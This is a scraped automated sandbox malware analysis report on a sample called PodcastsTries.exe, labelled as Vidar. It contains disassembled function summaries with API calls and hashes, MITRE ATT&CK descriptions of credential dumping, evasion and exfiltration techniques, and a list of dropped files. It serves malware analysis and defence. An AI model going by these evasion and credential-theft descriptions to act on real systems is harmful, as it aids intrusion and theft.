Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 9eea5c321aacd8f5924ce4527dbbaff71f8f14774f60b27db5f890c3c8c709fa
Instruction ID: 90791e727568dc096fcd8c444b61c0773dc49e85d3dda308f22627893b84dc14
Opcode Fuzzy Hash: 9eea5c321aacd8f5924ce4527dbbaff71f8f14774f60b27db5f890c3c8c709fa
Instruction Fuzzy Hash: 9EF0A475A44218B7DF08B7E4CC91FFE7768AF25754F400915F522B72C1EB715808C660

Function 001C9AFD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0013249F: GetWindowLongW.USER32(00000000,000000EB), ref: 001324B0

DefDlgProcW.USER32(?,0000002B,?,?,?), ref: 001C9B6D

Part of subcall function 00132234: GetWindowLongW.USER32(?,000000EB), ref: 00132242

SendMessageW.USER32(?,00000401,00000000,00000000), ref: 001C9B53

Strings

( , xrefs: 001C9B06

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: LongWindow$MessageProcSend
String ID: (
API String ID: 982171247-2181176062
Opcode ID: 6e52577ec0e74e5eb9ffc70d7d9f08b841ecbb5a81424008c4af010c019991cc
Instruction ID: 345029ff33fffbe8e1e1f867335a58260f4345c88e4cdd202150be6ca0a782f0
Opcode Fuzzy Hash: 6e52577ec0e74e5eb9ffc70d7d9f08b841ecbb5a81424008c4af010c019991cc
Instruction Fuzzy Hash: AD01BC30200318BBCB25AF14EC4CF6A7B66EF95364F100529FA020A5E1C772AC95DB60

Function 001C8432 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 0013249F: GetWindowLongW.USER32(00000000,000000EB), ref: 001324B0

GetWindowLongW.USER32(?,000000F0), ref: 001C8471
GetWindowLongW.USER32(?,000000EC), ref: 001C847F

Strings

( , xrefs: 001C843E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: LongWindow
String ID: (
API String ID: 1378638983-2181176062
Opcode ID: d7edd373e13d2c66cf2dcdb7c2981ea679c3febdf0d81abba543b7fa9197f419
Instruction ID: de11cf14e1e3537c561cd5e43750823df89446944613681b29f35c3ce595e69c
Opcode Fuzzy Hash: d7edd373e13d2c66cf2dcdb7c2981ea679c3febdf0d81abba543b7fa9197f419
Instruction Fuzzy Hash: 52F04F35201215DFC708DF68EC48E6A77A5EB96324B21462EF926877F1DB309850DB10

Function 00191461 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 0019146F

Strings

Error allocating memory., xrefs: 00191468
AutoIt, xrefs: 00191463

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 58ee8081bceb518dc5aca78c045b1610bc837a8c5b60e19dba10e5e909dd8e23
Instruction ID: d25f943f556d31d0105dbf93c5ce6e7dd9c7f4402c1052397c7415f81e7150d0
Opcode Fuzzy Hash: 58ee8081bceb518dc5aca78c045b1610bc837a8c5b60e19dba10e5e909dd8e23
Instruction Fuzzy Hash: 88E0D832244B187AD21027D4BC43F897A848F28B56F11442EFB98694C24FE2A490829A

Function 001510B3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0014FAD4: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,001510E2,?,?,?,0013100A), ref: 0014FAD9

IsDebuggerPresent.KERNEL32(?,?,?,0013100A), ref: 001510E6
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0013100A), ref: 001510F5

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 001510F0

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 5c33aa3c265dd4377e4e216f68c2f820d68656e76b66f41fecaa920b36a24dd0
Instruction ID: 48bf690e2351c2fe98f5678b7d2bc3cd34c95615f85085169e345e3db06326f0
Opcode Fuzzy Hash: 5c33aa3c265dd4377e4e216f68c2f820d68656e76b66f41fecaa920b36a24dd0
Instruction Fuzzy Hash: 0FE06D706007108BD3229F34E948742BBE4AB04301F00896DE895C6791DBB4E488CB91

Function 0014F114 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0014F151

Strings

`5 , xrefs: 0014F131
h5 , xrefs: 0014F146

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Init_thread_footer
String ID: `5 $h5
API String ID: 1385522511-1936157198
Opcode ID: c34e3bd9deacd5b3094e9c3386af4fffe1d51c40d1d35c8636641c4d8202742c
Instruction ID: feb90ad6a0e129a06ee5789811c58d392de2d5ae6b28c3fb9aa5f017da675760
Opcode Fuzzy Hash: c34e3bd9deacd5b3094e9c3386af4fffe1d51c40d1d35c8636641c4d8202742c
Instruction Fuzzy Hash: 35E02635414A14CBC601D72CFC099883768EB0CB20B90017DE5128B3F39B202A43CA14

Function 001A39D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 001A39F0
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 001A3A05

Strings

aut, xrefs: 001A39F9

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: f2190a73557fad8314baaed2410f7ee798e0c6fe917ec9be84b6f4175971f3b7
Instruction ID: 7aae7b8517f69638fe4da55aee2eec895399b496de2b46001a61527f6dad1069
Opcode Fuzzy Hash: f2190a73557fad8314baaed2410f7ee798e0c6fe917ec9be84b6f4175971f3b7
Instruction Fuzzy Hash: 5AD05E72500328A7DA20A764AC0EFDB7E7CDB44710F0002A1BA55920D1DAB0DA85CB90

Function 001C2DBE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 001C2DC8
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 001C2DDB

Part of subcall function 0019F292: Sleep.KERNEL32 ref: 0019F30A

Strings

Shell_TrayWnd, xrefs: 001C2DC1

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 3963407067126a503556846776bc624f46ff70eff7290693e9269da620454141
Instruction ID: 564e1875e97a970b3227996291bc1ad98b7505bd571441fe0de0440ccc0d0a72
Opcode Fuzzy Hash: 3963407067126a503556846776bc624f46ff70eff7290693e9269da620454141
Instruction Fuzzy Hash: 6DD0C935395314B6E668B770AD0FFE67E649B50B50F104839B349AA5D0CAA4A881C654

Function 001C2DF2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 001C2E08
PostMessageW.USER32(00000000), ref: 001C2E0F

Part of subcall function 0019F292: Sleep.KERNEL32 ref: 0019F30A

Strings

Shell_TrayWnd, xrefs: 001C2E01

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: ce06821e2b324a366ad0c66e1e10d1cb4c50b9870f99465076b8f8d3bedcf386
Instruction ID: 66fc86ea830a370ac5be2183fa78a7634b9027ffaaca4cd1a96da222bfd80fd0
Opcode Fuzzy Hash: ce06821e2b324a366ad0c66e1e10d1cb4c50b9870f99465076b8f8d3bedcf386
Instruction Fuzzy Hash: C8D0A9313813107AE668B330AC0FFD27A209B10B00F104838B305EA4C0CAA0A880C644

Function 0016C17D Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 0016C213
GetLastError.KERNEL32 ref: 0016C221
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0016C27C

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 0851e07f1e95cf7bf0ecdfad317c80a8b1a42b05e64ac41f9e1698f2a4a3ed7b
Instruction ID: c8d55d566221f090db204405e6af90702a9666dc63e64d1a9d90916c5512f24b
Opcode Fuzzy Hash: 0851e07f1e95cf7bf0ecdfad317c80a8b1a42b05e64ac41f9e1698f2a4a3ed7b
Instruction Fuzzy Hash: 3C411531600206EFDB258FE5CC54ABA7BA5EF15710F25416DFC99AB2A1DB309D21CBE0

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PodcastsTries.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\IMYUKNY5XBIE\16PP89

C:\ProgramData\IMYUKNY5XBIE\58YU37

C:\ProgramData\IMYUKNY5XBIE\6XLN7YM7G

C:\ProgramData\IMYUKNY5XBIE\7YC2NG

C:\ProgramData\IMYUKNY5XBIE\DB1DBA

C:\ProgramData\IMYUKNY5XBIE\HDJEU3

C:\ProgramData\IMYUKNY5XBIE\OHVAS2

C:\ProgramData\IMYUKNY5XBIE\QIWBS2NOP

C:\ProgramData\IMYUKNY5XBIE\S0RQI5

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\15c66898-1364-46f6-9558-c69f08d6e0f7.tmp

Windows Analysis Report
PodcastsTries.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

